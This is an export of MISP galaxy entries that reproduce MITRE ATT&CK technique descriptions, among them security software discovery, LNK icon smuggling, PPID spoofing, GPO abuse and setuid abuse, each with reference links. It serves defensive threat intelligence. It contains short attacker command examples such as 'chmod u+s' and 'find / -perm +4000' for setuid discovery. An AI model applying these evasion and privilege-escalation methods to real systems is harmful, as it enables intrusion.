Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001"*

Table 8318. Table References

Links
https://attack.mitre.org/techniques/T1518/001

Determine Physical Locations - T1591.001

Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or

[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: *misp-galaxy:mitre-attack-pattern="Determine Physical Locations - T1591.001"*

Table 8319. Table References

Links
https://attack.mitre.org/techniques/T1591/001
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
https://www.sec.gov/edgar/search/

Internet Connection Discovery - T1422.001

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using `adb shell netstat` for Android.(Citation: adb_commands)

Adversaries may use the results and responses from these requests to determine if the mobile devices are capable of communicating with adversary-owned C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

The tag is: *misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1422.001"*

Table 8320. Table References

Links
https://attack.mitre.org/techniques/T1422/001
https://gist.github.com/Pulimet/5013acf2cd5b28e55036c82c91bd56d8

LNK Icon Smuggling - T1027.012

Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.

Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](System Binary Proxy Execution (https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)

LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an

LNK on an infected host to download additional malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="LNK Icon Smuggling - T1027.012"*

Table 8321. Table References

Links
https://attack.mitre.org/techniques/T1027/012
https://unprotect.it/technique/shortcut-hiding/
https://www.uperesia.com/booby-trapped-shortcut

Remote Desktop Software - T1219.002

An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Remote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome's Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002"*

Table 8322. Table References

Links
https://attack.mitre.org/techniques/T1219/002
https://blog.crysys.hu/2013/03/teamspy/
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
https://support.google.com/chrome/answer/1649523
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf

Remote Access Hardware - T1219.003

An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools

and may be allowed by peripheral device policies within a target environment.

Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).(Citation: Palo Alto Unit 42 North Korean IT Workers 2024)(Citation: Google Cloud Threat Intelligence DPRK IT Workers 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Access Hardware - T1219.003"*

Table 8323. Table References

Links
https://attack.mitre.org/techniques/T1219/003
https://cloud.google.com/blog/topics/threat-intelligence/mitigating-dprk-it-worker-threat/
https://unit42.paloaltonetworks.com/north-korean-it-workers/

GUI Input Capture - T1417.002

Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique's use.(Citation: Felt-PhishingOnMobileDevices)

There are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019)

Additionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android's accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:

- Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)
- Adversaries create an application overlay window on top of a running legitimate application.

Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)

The tag is: *misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002"*

Table 8324. Table References

Links
http://w2spconf.com/2011/papers/felt-mobilephishing.pdf
https://attack.mitre.org/techniques/T1417/002
https://cloak-and-dagger.org/
https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf
https://developer.android.com/guide/components/activities/background-starts
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://web.archive.org/web/20170211204349/https://www.skycure.com/blog/accessibility-clickjacking/
https://www.group-ib.com/blog/gustuff
https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html
https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/
https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/

Credentials In Files - T1552.001

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42

Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"*

Table 8325. Table References

Links
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
https://attack.mitre.org/techniques/T1552/001
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

Disk Structure Wipe - T1561.002

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.

On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002"*

Table 8326. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1561/002
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668
https://www.symantec.com/connect/blogs/shamoon-attacks

Backup Software Discovery - T1518.002

Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).

Commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), `reg query` with [Reg](https://attack.mitre.org/software/S0075), `dir` with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.(Citation: Symantec Play Ransomware 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Backup Software Discovery - T1518.002"*

Table 8327. Table References

Links
https://attack.mitre.org/techniques/T1518/002
https://www.security.com/threat-intelligence/play-ransomware-volume-shadow-copy

Device Administrator Permissions - T1626.001

Adversaries may abuse Android's device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device's password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device's cameras, or to make it more

difficult to uninstall the app.

Device administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001"*

Table 8328. Table References

Links
https://attack.mitre.org/techniques/T1626/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Junk Code Insertion - T1027.016

Adversaries may use junk code / dead code to obfuscate a malware's functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with [Compression](https://attack.mitre.org/techniques/T1027/015) or [Software Packing](https://attack.mitre.org/techniques/T1027/002).(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)

No-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.(Citation: ReasonLabs)

The use of junk / dead code insertion is distinct from [Binary Padding](https://attack.mitre.org/techniques/T1027/001) because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware's signature.

The tag is: *misp-galaxy:mitre-attack-pattern="Junk Code Insertion - T1027.016"*

Table 8329. Table References

Links
https://attack.mitre.org/techniques/T1027/016
https://cyberpedia.reasonlabs.com/EN/dead%20code%20insertion.html
https://cyberpedia.reasonlabs.com/EN/junk%20code.html

Suppress Application Icon - T1628.001

A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to

uninstall the application. Hiding the application's icon programmatically does not require any special permissions.

This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)

Beginning in Android 10, changes were introduced to inhibit malicious applications' ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application's icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app's details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application's details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)

The tag is: *misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001"*

Table 8330. Table References

Links
https://attack.mitre.org/techniques/T1628/001
https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist
https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons
https://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker
https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Prevent Application Removal - T1629.001

Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.

Adversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.

- Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen

- Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event

The tag is: *misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001"*

Table 8331. Table References

Links
https://attack.mitre.org/techniques/T1629/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Parent PID Spoofing - T1134.004

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32 (https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004"*

Table 8332. Table References

Links
https://attack.mitre.org/techniques/T1134/004
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/

https://blog.xpnsec.com/becoming-system/
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.countercept.com/blog/detecting-parent-pid-spoofing/
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

Outlook Home Page - T1137.004

Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

Once malicious home pages have been added to the user's mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004"*

Table 8333. Table References

Links
https://attack.mitre.org/techniques/T1137/004
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Identify Business Tempo - T1591.003

Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization's business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open

Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))

The tag is: *misp-galaxy:mitre-attack-pattern="Identify Business Tempo - T1591.003"*

Table 8334. Table References

Links
https://attack.mitre.org/techniques/T1591/003
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Domain Generation Algorithms - T1637.001

Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1637.001"*

Table 8335. Table References

Links
https://attack.mitre.org/techniques/T1637/001
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/

Group Policy Modification - T1484.001

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify

Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code><GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code><GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001"*

Table 8336. Table References

Links
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1484/001
https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
https://wald0.com/?p=179
https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/

Process Argument Spoofing - T1564.010

Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt

2019)

Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010"*

Table 8337. Table References

Links
https://attack.mitre.org/techniques/T1564/010
https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

Setuid and Setgid - T1548.001

An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user's context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user's context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify

the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)

The tag is: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001"*

Table 8338. Table References

Links
http://man7.org/linux/man-pages/man2/setuid.2.html
https://attack.mitre.org/techniques/T1548/001
<a href="https://gtfobins.github.io/<mark>+suid">https://gtfobins.github.io/</mark>+suid
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Direct Network Flood - T1498.001

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

